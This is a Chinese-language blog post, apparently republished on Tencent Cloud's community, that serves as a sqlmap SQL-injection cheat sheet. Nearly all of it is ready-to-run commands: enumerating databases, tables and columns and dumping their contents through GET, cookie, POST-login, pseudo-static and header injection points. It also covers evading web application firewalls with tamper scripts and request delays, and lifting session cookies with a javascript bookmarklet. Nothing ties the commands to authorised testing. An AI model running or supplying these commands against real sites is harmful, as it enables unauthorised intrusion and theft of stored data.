前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >sql注入攻击sqlmap-2

sql注入攻击sqlmap-2

作者头像
黑白天安全
发布2020-03-10 19:05:15
8640
发布2020-03-10 19:05:15
举报

sql注入攻击sqlmap-2

cn0sec 2020-02-28

access注入

代码语言:javascript
复制
sqlmap.py -u "url"    ==检测

sqlmap.py -u "url" --tables     ==猜表

sqlmap.py -u "url" --columns -T "表名"       ==猜字段

sqlmap.py -u "url" --dump -T "表名" -C "字段,字段"     ==暴表里面的字段的内容

Mysql数据注入

代码语言:javascript
复制
sqlmap.py -u url  --privileg  ==查看权限(root什么什么的)

sqlmap.py -u url --is-dba  ==判断是不是root权限

sqlmap.py -u url --dbs   ==获取数据库

sqlmap.py -u url --tables -D "数据库名"     ==获取当中的数据库的表

sqlmap.py -u url --columns -D "数据库名" -T "表名"   ==获取数据库 表中的字段

sqlmap.py -u url --dump -D "数据库名" -T "表名" -C "字段,字段"  ==获取数据库表的字段里的内容

Cookie注入

代码语言:javascript
复制
注入点:http://xxx.com/1.php?id=9

sqlmap.py -u "http://xxx.com/1.php?id=9" --cookie "id=9" --table --level 2    ==暴表名

sqlmap.py -u "http://xxx.com/1.php?id=9" --cookie "id=9" --columns -T "表名" --level 2  ==暴表的字段

sqlmap.py -u "http://xxx.com/1.php?id=9" --cookie "id=9" --dump -T "表名" -C "字段,字段" --level 2 ==暴表的字段内容

默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie的参数,当>=3的时候将检查User-agentReferer。 利用sqlmap cookies注入突破用户登录继续注入 先把用户登陆的cookie拿到,可以在收藏夹添加一个链接cookies属性:名字自己取 javascript:alert(document.cookie),需要获取当前cookie的时候, 直接点一下这个链接,然后复制一下弹出对话框 里的cookie值就搞定了

在谷歌浏览器,按F12-->找到Application-->选择其中的Cookies-->最后可以在里面找到对应的值可以了。

代码语言:javascript
复制
sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=”info=username=test”

-p是指指定参数注入

post登陆注入 mssql

代码语言:javascript
复制
sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345"

sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dbs  ==获取数据库名

sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --tables -D "数据库名"   ==列表

sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --columns -T "表名" -D "数据库名"  ==暴字段

sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dump --columns -C "字段,字段" -T "表" -D "数据名"  ==暴字段内容

我们在使用Sqlmap进行post型注入时, 经常会出现请求遗漏导致注入失败的情况。这里分享一个小技巧,即结合burpsuite来使用sqlmap, 用这种方法进行post注入测试会更准确,操作起来也非常容易。

代码语言:javascript
复制
1. 浏览器打开目标地址http:// www.xxx.com /Login.asp
2. 配置burp代理以拦截请求
3. 点击login表单的submit按钮
4. 这时候Burp会拦截到了我们的登录POST请求
5. 把这个post请求复制为txt,然后把它放至sqlmap目录下
6. 运行sqlmap并使用如下命令:`./sqlmap.py -r search-test.txt -p tfUPass`
这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt, 而用-p指定注入用的参数。

伪静态注入

代码语言:javascript
复制
注入点:http://xxx.com/Index/view/id/40.html   (注意:要加个* 哪里存在注入就加上 * 号)

sqlmap.py -u http://xxx.com/Index/view/id/40*.html --dbs   ==获取数据库名

sqlmap.py -u http://xxx.com/Index/view/id/40*.html --tables -D "数据名"    ==获取数据库当中的表

sqlmap.py -u http://xxx.com/Index/view/id/40*.html --columns -D "数据名" -T "表名"  ==获取数据库的表中的字段

sqlmap.py -u http://xxx.com/Index/view/id/40*.html --dump -D "数据名" -T "表名" -C "字段,字段" ==获取数据库的表中的字段内容

请求延时(一般突破防火墙)

代码语言:javascript
复制
第一种方法:sqlmap.py -u url --delay 2   (注意:2是两秒的意思,也就是说2秒访问一次)
第二种方法:sqlmap.py -u url --safe-freq 3 (注意:3是3次的意思)

可以组合使用 sqlmap.py -u url --delay 2 --safe-freq 3

利用文件来注入

代码语言:javascript
复制
GET /?id=1 HTTP/1.1
Host: www.why25.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0

x-forwarded-for: 1*(存在注入)

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=109b6bcfd7ec056764c71aa62a4d6638

Connection: keep-alive

Cache-Control: max-age=0

星号(*) 指定注入点
代码语言:javascript
复制
sqlmap -r c:/s.txt --level 3 --dbms=mysql --risk 1
注意:
--level 是测试等级意思就是说我要更加耐心仔仔细细的加强检测等级3 如果没有level 默认等级是1的

sqlmap遇到url重写的注入

代码语言:javascript
复制
sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2“  哪里存在注入就加上 * 号

sqlmap 编码绕waf注入

代码语言:javascript
复制
sqlmap.py -u http://xxx.com/1.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”

在sqlmap 的 tamper目录下有很多space2morehash.py 编码脚本自行加载

sqlmap编码脚本

sqlmap拥有很多功能强力的插件,插件的使用方法: -- tamper “插件名称”

代码语言:javascript
复制
其中常用到的bypass脚本绕过SQLMAP主要两个脚本:
space2hash.py ,对于MYSQL数据库 4.0, 5.0注入
space2morehash.py ,对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入
首先确定目标数据库版本,然后选择相应的脚本。
-v 3 --batch --tamper "space2hash.py"
还有其他一些插件:
encodes编码 ——charencode.py
base64编码 —— base64encode.py
替换空格和关键字 —— halfversionedmorekeywords.py

SQL注入实质就是闭合前一句查询语句,构造恶意语句,恶意语句被代入SQL语句执行。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-03-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • sql注入攻击sqlmap-2
相关产品与服务
云数据库 MySQL
腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档